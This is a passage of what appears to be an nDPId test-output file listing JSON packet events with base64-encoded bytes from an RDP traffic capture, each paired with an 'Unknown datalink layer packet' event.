HugDXtiBh20KUppnYjOJOEeic07lbL6hnZKO9qcpXc43g\/v\/w545P4+Sjbw2ed\/6pHNm0rZTugcBiAb+Nrc3+k7H4u1f5tgHnT1vCK9Lzh0Y\/c8Ry6B3vnlb0sd4TL08l+FYWnbrnLvliGYfgO4yfzK\/poYrKu8K1tqgj+PRWPlCAWkHrEXQ\/8Y4oWG7nxzlWGVz9HL5TZImweZ2eToy0ipVJJQEQeMu8caouT6hcNhj\/D7\/o3OTm\/US8JAuu5khoRr7apT8ZPiwneSxWOrxTeLkN0GlQuZwc1HvGyIBwmUfiil7Gyr\/t1l08ic+hMnWY1OImv+pflvwX\/KCYN2b8MEI6Pj5sTU7Py9z1mEKJ8d7yzfwZ50cc6A7jIDWbFnMkSOpFuOttDCbo6N2eeoFMvl9CndFnqdEAPNWJzOwOWg9VpMfs67BSmARaM23oio6wsN8ZZJrboO"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1697,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00866{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1698,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":669754,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjD0AAfwYlRsCoAo6sEAK5DT3NDkeg59P5vR9IUBj4OGDPAAB5VEBa0jgiCb1fEnyvjDAFWxdLiq30mxTvBu9pWOKlhU6NP8\/WA8KNlgQVqSlYcVYlflK7\/b+dqROENv0Z0hCn8UnBmE9fHMEADbtM0TXvOndzpcmYvZ3\/KDl76tNV\/dsbESZlx+uWI8VmUPlgrOLA57a0Vsyemrm1Sy2finzTTXhCWsNQn4HlmYtDR24cMgfDl4j\/1PJtzxbUBpHgPE7xbcTMXJL16HA3S8t7uxRBhY8wKZB86CYrCD8pI+5ghGkl5Zyz7MqxheojjbHdB6XXhBZiBBem+w4\/xSKz07k8yHW77Vt+\/ZVENa0zSFQ14qrj6R51uZtfgoXjJ90ELf2g86LKYpAw6nP6WrXXNi13hytHacVvQyyT34J4sEeEBWcVlTB2KC08MesiUGsGIniQSbEAkClX7blkWZFcSCh3rec3RjYoDUUUYywdynZKhPpjZuXH4hyad0P+KyRBFEbafgio0MnaEj\/Ti8mJlYAxAWB\/nzUVsVLkk6KE"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1698,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1699,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":669791,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IGFHoOlOUBAf9PiGAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1699,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02073{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1700,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":670098,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjEEAAfwYhx8CoAo6sEAK5DT3NDkeg6U75vR9IUBD4OMffAAAXAwMGbwAAAAAAAAIpFXOEH5AwOXDY7VjS7Snkbe8+42GOH3ZSJdMlKkd10D\/pxp0eH0seEzu5k59yXcmbhV4genL1IrIgpvLsivyUcbXFxbYRzNSNiChi7tWn7zJ5h3UHZpsDqJDLpfAbkplYSr3YPtiabdA393dNOh\/NVQU3q4nkO8sXro5xdGlNMONjfXA\/DIvpVWvDRLap0VQo5NOOljnFOr61wymJ7gC0FJ9alNY6kpb86Ntzf0onLBUKXQ5kEOcQ8KkMDdc6hRDASGme6eq90tlSfbZk2aGSf16TjiR2P1wGVuDcYtS58TO03bp8yIcr\/Rf43uOUaWuvL+pqIv6\/EdasHgJ0kFSpHvW18RugofbBJ4juvF5tLRP52XzyC6kbNyqo8bnoWAauK0PeebCpIYYSsoZ4u8mvjlzIrddCuiiaXzyWEoIX45q0cs0dISq18MtFr1NdnozIdm7naxVuGaEsB1VW7y4dtyd6AnXMv+mJxY1Db7QMIiIv7z3OlOxwjfMR4fYaz6gY69j5Lt81bQ3XMLsjblwwTJ2uMlBoifA63B6E08LNGDRfoPXvXPpyEQ5EbxK9kzllyyONUzx9l\/711vNiy\/L85gelpYIelgiZrGVrVnQk73PDYWwg0wqfXRMV+vZALiZSdbhJcRV8a7bnKhZUNbcSfnrBT+uIwmPz9X5Y5i+bRx+eE9JADNO0+EnLobcPVXQrlSm0ZEYZnrPoque7eJco2ZXuw9Kz2Kq4ab9RiFYcYVREFDJlO\/qmT5+yD7Te\/z1kE2dPbZsvJ50cmct3Xk6NhvAg4tTmZwtNOU+xF+uav2Ai27xwGi6DlE8GVtTFgeXhbBSJgD2uio2UWi+eGq0MCuqri\/nnVTbfeno1zfP\/TmbMg5cg0TZF+JxHO3eKhttcuo4FUrncGJoq4QXGr5\/EL9GV3rpw2+rGibpsxZ+CUucJ6wZQl0B7e7L55ZIEzzirIRJdFpIdUMVyVDRP3c7hh0HgqyjVg7ERg+iy\/TF\/zs0iMwUg5maR\/o6ASBA3PLy5vLsuSPRQpqv1qAVouvXfZxC4eeXIgwJYVKTk3n8bE5cJjelzuLA1I9NgYijwhvD2vjQbHLDSqVfZ3QS2E6CGQnP\/28tNZaRiIIMwgKyJkWo3ylSt0dDSDOXRI1PX3Xocdi2lHlwYVwhv9pOdY\/FB30KKJPfIZVBinCtRUImdUKoICxYpwAPE4Yp+s+uGUy9YN\/58h3pD6wf\/Ua2fl2aM9i9IeyrscJkSaV2xkGhAKY0ImC26gm425jO73n2RH8ab+89A5nR0gbbDI8eEjUTigJX3VLwqs1GZsABFyCxy6gwa1JgszU\/BeOokfXbHtnHxC9liIu6twxd2jhXS+bdIr8HsMULHlT8cf1lue2ALTfP3QiBB+aSIk9KuDWSi\/HTfJtRoKXGuR51tLH90zW1Y0PZexn7lR+YB3C6ZEc35aWgulXrFUb0jhLBNQ+8dPj9sbuuEvDtAMO6cyEefZJAs80IQrWS3md7qf2fIL6KlnSBosXI4DuWVi9TOghj+ru8nWwbZs3hdSEsoAo9\/6k4NN26y4lCaTbk+85fxlRM9Mk8HHeL+FOE14bWqBwG9RWTu49vi0+HGHbfN2unBkRJGrL88cphJ6pxoFKEjCG9HmLuVVrQq5MTreotG5d2a1vGVvwjEws29S5h8LJTb"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1700,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00860{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1701,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":670188,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjEUAAfwYlRMCoAo6sEAK5DT3NDkeg7kf5vR9IUBj4OBQ1AAAfWxY86oRNRmAXsCgE6o3KB5udIfdrCK3SCp\/5MeJXvNWUCd117lN53gCoPpJRu3GAXrSrjq6tXnjgdDXVVrEAROkDdY15xixWUagxOXNWRhoLZnHkfULYJfOvlFTXZKTMK4GV1CmZAdEMqJA5ISIirZH57NUXsAYm3WG5X\/HftN2RWYXMxkX3Mika5qdh63BOrW341fVsoc4+q3E1iosag3FgTnZyHpf8NWTZ858Yqg69eoco3dOJ7JveJOSbDHxaWh3dRG4e6IAm93P8dzwThinLw1Vi0l+iJSQFsHHG0O9tI+9ZxhR9RK2xazUiSq8IXhyA4EkJcoB35E6MYuHnmEB3HYm5nHxNcz9wRcHWTQmsjvGOQpJ8yISlGlkRMUpe4J7cho+o7BHVvHXTCmmQuCztb+GTN4oK5rVMdueBnkIpBDPzDVZwoSWRpAkq\/szfGpSlqoXwYJhvKiUk4fvDAO4fvN64yDR0a2CPYcuImudje2o23Q30rjyP"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1701,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1702,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":670241,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IGFHoO\/CUBAf9PISAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1702,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1703,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":670446,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1jEkAAfwYmicCoAo6sEAK5DT3NDkeg78L5vR9IUBj4OMRDAAAXAwMAMAAAAAAAAAIqqeyks90mcKloknTRBzbAEhGgcq3I1\/zF6UGvFRaNYsQF6NKuPhSthQ=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1703,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00353{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1704,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":670485,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IGFHoO\/3UBAf\/vHTAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1704,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00425{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1705,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":670688,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9IGFHoO\/3UBggAHm4AAAXAwMAMOAIO32NJwwzEXIz+5XtqVhAJldNWqyyyD\/KV9+jWOjL5F7eg7c69k6rENPLuoktEA=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1705,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02075{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1706,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":670768,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjE0AAfwYhxMCoAo6sEAK5DT3NDkeg7\/f5vR9IUBD4OL6WAAAXAwMGbwAAAAAAAAIr305Xs7t1Ef78rZ6yHKQFgK9\/4vRIc+5Yu39c0YalVuoa4haVKlCS5bN8iwhDrBrNxHIWWh6L06llOuCTmGEa+Fs+ueD4+EVqdpwyyuLkmT7Wo86DqYGui0r3slMXWN3yC9Zy3pvdgbvNQ7sNNkqYziDLtfIYvm9nCnb9n\/pqZw0NAkZux7T4PDFtYuN0M5CONmDnQbqg0AH24YPo1uaG++XLnaHEavvGWmaj7JuXf0Tv+WxU\/nMbOZAMYR7L63SY41cSHmBomvTe4KRTt46HbvkKnjloiIIsO4qIhdrX\/1R55su6J1wPiWN8wGyhh3BBnn+4M3KT\/jziOMT4C69BkEu5odtn2x6zdLgvAgikJxZKiGaQ1nKr7YpwtlOXWQGGYlkbhhjqT3bp9mwQwTy+lgsoOBqlyQfQBZYT+q9ndTGI9h1dfS5A7RQsPmYnZbH5gnD9BvDPW7s+HekNfEt9bgYTtsULkSc2JylAYWjPFu6W6AA8Z4nIFrSq7m+WFyvsnJpafOwno+b8Ynv38bYTFKm0K8nmmuKHMC0inAFnvmtrw3qFgam+kHcEZ1f9NYFR+mYpL3wxZrDYRloZRCllIvhLYTx3cEATTPlsieBn5cnUs4PeiZL0l+C2\/LW+YzpizcJBQ67KbxndA4oc7edhEctd8G1Qp4MWongTjGzpM7Iq5q\/Aw2q\/IAITNZ5i8\/g2a9k0iIkJuotpHUPN1Mc5plPoQIafxbrzWu0mcKGHhM1k+c+f6Ok06q\/AlNcgHw7qb\/kgxiNEGeUc84WyIPY4+YGITBnKD6PgyD3d7grcnlwfMzEa3IQLGdVsrRPdo5phOWJzJ2x\/yFLrVa++P1sidHvoNudj3ZzrVMLkoGighrx9rovKKHmv1HPgdzcqH7XI61ErXuzlGONsIzjL8u9LU9c05qBadHkHTrf\/+fGGU59RsEoAVxG1Bi\/aieh5AXHPsY5KmAFR11pDRzNgfUH3xKF0x2i19LwBNkoXJJojyCouKwF70gzfvJTyeNtUPL5M5uCLB8G8vXMQhGt9T30gk+sFWnLkzTqouwJpAf5yFhbe\/hoHvf+6dFaiv5B29YX7YlSmZL1PVbVUQYnkoFlSINzPAdCnvcn5CDfKsderpgHLq4sCJuREsUXLHD5tZj1y2dbrwZyt628AhN81XaCQJeHrgOKwqiWBqY2CUo0t5uw4q\/OAO7xVdaWlUhcsr4Iu5Lc+e\/n1OM9CUD0JHVRAL7I3\/BDbzKeycYXZ2TQ8vJglLXWnbYSONEfC4WyJausSm9lA3fMEPFRAQkW3HifE6RDrRy9PwOp646s86uHdfj30Je95WPRvyo6jRMYBf8EaSkcxCBWekihJ\/fVWdczc23dAlT6e39QRhy99PgVZARv+975Y0JFMk9DeFEoi9CyZPd1Qp\/aQPITb\/UEO40BFSIUJDeP4rOnFwfpb69U8dQPstD2PuKvt\/Pws+RmBDPIoncydpNyjcbZIcRcd2xzAl8m5hnvCCUAWI3b94V1idtNdWoVhPJwTP4ix92PX59xv99vcjAHUmRTvEM7hYnlqk31BxlSB9LAkwnJQbA08+zJ0AgwTGuVQNfBGtzrMEL3aMR5LN2F7j2+WuTTklCJBfiUCWUztr4DqX9YepTIarTcjmaxejhzB1XvD4YDsF+Xbl\/dEKTUgI9wfGpdw"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1706,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00873{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1707,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":670815,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjFEAAfwYlQcCoAo6sEAK5DT3NDkeg9PD5vR9IUBj4OMFZAACv\/TKg4pB\/uRCstQ8DCKd\/hEKe+Yia\/14Hk3IrWND9\/V5xvDl5wGF6\/0XnaXmDKoWTH1py4kK0fsiXJCXv\/1RH3QvKQqcOUjknC\/2\/KYZ9dB7pkOfjLNDpqRLDekZ6IOamT6hUYu7G4gWHzxV0qhEVYqzwtz1HpWwKGPNegHz\/aEu\/NfbUgQffHoS30RhDoNYNVzwvjVjLNdp82\/Ia2Q9H95BsrIK+fTFIgADsmqRq\/hqkQXmNZq8F3xAG3AqiYKBVepoaVRg52gHC1TesEsmdq6ECHXltFYWCPOfdJsHhK\/HNWYloKexudshMNzsi+8j24vKsvVgLmH+QoJUMGiWGC29KSFOgkojwJHNfj9VVxx9VCqrzphEzJvhv3Qk3vbK6Dk7qRtD3oU5lb49vaND4xKqF3poui56ieI3plqAdDxCJHZkzfaQ6j6zAfrzKp3tq8KloxUoiwPt6NmgZ7H\/\/cRhg81DPnbElOVdJWMOR+j9bR6yaUhSAEGoA"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1707,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1708,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":670946,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IJZHoPZrUBAf9Os0AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1708,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02076{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1709,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":691315,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjFUAAfwYhwsCoAo6sEAK5DT3NDkeg9mv5vR9IUBD4OGLSAAAXAwMGbwAAAAAAAAIsf0x+kwXEnIGQka9eHB+nc6SmT0FTY6sJOx09D55Nza0\/zbW\/wRDF1Y0zeZWzihbAgnkYBZV08eAoFwGkh3TCw4Dria60FSboWeUCCb\/R3jyWFFttE3SspUw3IptK2akj6prfjbB8RQcrBJUskz+HmZFJqacSBXu+RkCuklKSt+S5s+IhPBqgsEFmzWMnly2o7jRGW5Ku+PMw5ImLrtEgZVAWOleCuhutbLkN6ShHYHbzbkLRtMJ\/tu+TeM0GgdniHhZISxTGZ0H3FW6nHl4j46\/SfVifPM2a+VuG4rozdsRIqkVkkDo4c2ZAXueO8KF+TL2wukIliQh03fLqkrce6H3Pbss0SogbfPXaoVpS9y0i+fa7lrx7UgvSSG81X2VLI3LU1sFevhS+tNKw9L\/uBtfGllus+i\/muhX2NER1Ahiy4bR9Y4D9vwRA0QC5ynb3ZfyUsGvl\/qUjBS8tWPQDhSroP6KhH7UstBpaUQDtX1aoS1840xXCQRwdoIG8brGJBMOVjyeenQkF2KG3l3dg8gfNziOuxRm5RKbkHAxqfXglxw6q1IJD\/+QCzBNGUGy+MAqfyyg1Lq9ozhLwJOJbIQ5lzBAL5Ke7maQdIoHvSkibAO5sJRJLRmWsn5+49pbSab+7bLKjr79sYnHgM11bu\/ab5XCBWQU9gVML0l4d\/KsuAFuWAThDjIf8cQ5xPpcRM7juq9m0LxAAO+2UgzmX2lzF9L8F3qYN8STkmmB\/hDDqzHo9srMrrozpF73O7o1dF2tj4FaSG7IW7eXbZerwbsCrzwtZ7EjgYPXfy\/MxWIBCLYvU3LRRTWSaXLD3pNEY3ul7oOjKsP5TSwhRLlzVv1tnH0tcaiDnTqwODy4UN4XU4OZCWjK9pW30gMNFgrOFQU35OPlQ7OFzgApc9kZ2z2EAL0q8\/CiWyVCsf0r6foLd1Hoa7ejIsQPReimLb4KlPH6+fnP6iEZSbgXRjxuRVDg4K\/P\/SHQkkZGCfQrW2LOHkJ9hNb\/kVn1Nvvm\/AnHt9Y+522BwhQdAgPp5EcPXWdTOni8pW1hdZuOgyaqhHpSqr0LdoVhLFnN929TxmTUp1S9XjiT9waM8RfpefDMmhbrmNk0ye1PDMZw2DaEepWuRtTIxoOQ0LW48RmRI+ZX7GbFXqGXWLieCR8GY7x0LSb2XjbWd1PuKIk3bvZPsTLafW4v9ygNWtegtAmq720xrnAXbHokppXslPqIKGr\/RwobZsCuZgW38Lm5xzD72cTeqzEv8X+ZdOZS7qvHz2pfVgaXxP8YLHUaB+pnEINLkqrDFm8hYoRKzaC\/idO30Q6Se2T5Ves42foiTYZ2wJxYF9T3AKQsnBar1hGJRbAYGJwrJA5DwCvgNa79IDHetdwHXbjDy5CGaC3Mnr306PB8c8we9RO67GTlS\/3zCOzOUfGdiXHlrM9IVHEatEaQzWjS0A3pbqQUvkjEsjTCfVk1UuSGkKMg8THOAq\/Cjd2hZwS2fRAlEuhetO5nPdaM9gJOW50LbVKLayrRAc5oKDB8zJdlIl7cARUr\/ng2WTAqxxntCdBYuIPlttvoPWOnl2RUiCm1mWb63pZbuiRyWW4Ck5pKRtgtqfF+AWNSwGMBK6o6Hg1pn\/xpBpg2ytmhM5qGS7FEdtvOdUztm7aQRs5N2rn53J8\/d+D5wjePc"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1709,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00869{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1710,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":691365,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjFkAAfwYlP8CoAo6sEAK5DT3NDkeg+2T5vR9IUBj4OBiyAAAMrBnDeh0cWqUXiEYXBwnzZo8Zttv\/3ZQ\/qN7pTEv3w+50pjxAcPFCQJxHLUthVeSuWNKxEHtmpCA+mPAawpfDLjdmHYv1+TQEKqFoG3hGd4DydNuYYrrjHNP5opqNtmO\/\/P977eLTn3g87ds1\/olaS+iiy\/02Ra4mud6prtwCta2li7MRdw75Ovm\/ML9VWZ5LnEhTxraMdN60E2\/bpn1FZedYVjVGarJW1ahA+2tUG8Cu4gSLMTXkOZBzd6P214QNgBBkNQ4xamD7mmxnZkbr3AgtUCfFCe5KcFRjxIU7gTZlV1q0sLNN2\/49eM\/HXPiZXDD1afEWfi2WqUuLbkxDQRsoxJA5LxMcdn6MZtSFZz2vfYpdAL2IH2s0wj6AxDLKDlvRaHAezDQQxRMSQK0LSErM2dboj0nsMCEubibITitRbtIjnv96HbszCc\/hs65FqOR9EvWaUEvsbLpbdVKqnF\/PnccST8Qpa2pL88d0nPZ0xOEhj1Ywk4Jt"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1710,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00426{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1711,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":691407,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1jF0AAfwYmhMCoAo6sEAK5DT3NDkeg\/N\/5vR9IUBj4OKrjAAAXAwMAMAAAAAAAAAItFJKD+FuBQb38kPbQZcoaglPgysG+xI7iDXYl\/4oL+HfI1TlWPayYWQ=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1711,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1712,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":691408,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IJZHoPzfUBAf9OTAAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1712,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1713,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":691520,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IJZHoP0UUBAf8uSNAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1713,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1714,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":691836,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9IJZHoP0UUBggAN18AAAXAwMAOOAIO32NJww0xvCcZy5s3Xm\/WI\/qSffECt80aHQqWKPvkSG34dqwsvYcOTTykVekkIJUFUiRx5w7"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1714,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1715,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":715014,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChjGEAAfwYmuMCoAo6sEAK5DT3NDkeg\/RT5vR+6UBD3xg2VAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1715,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1716,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":715062,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChjGUAAfwYmt8CoAo6sEAK5DT3NDkeg\/RT5vSAkUBD3XA2VAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1716,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1717,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":715112,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChjGkAAfwYmtsCoAo6sEAK5DT3NDkeg\/RT5vSCWUBD26g2VAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1717,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1718,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":715189,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1jG0AAfwYmgMCoAo6sEAK5DT3NDkeg\/RT5vSCWUBj26mH5AAAXAwMAMAAAAAAAAAIuQhQlsHhg0uBuNveOmtlpOdez6TewirRJgCWOGV0fNMKNOux8bcGO+w=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1718,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1719,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":715227,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9INNHoP1JUBAf\/uQPAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1719,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} 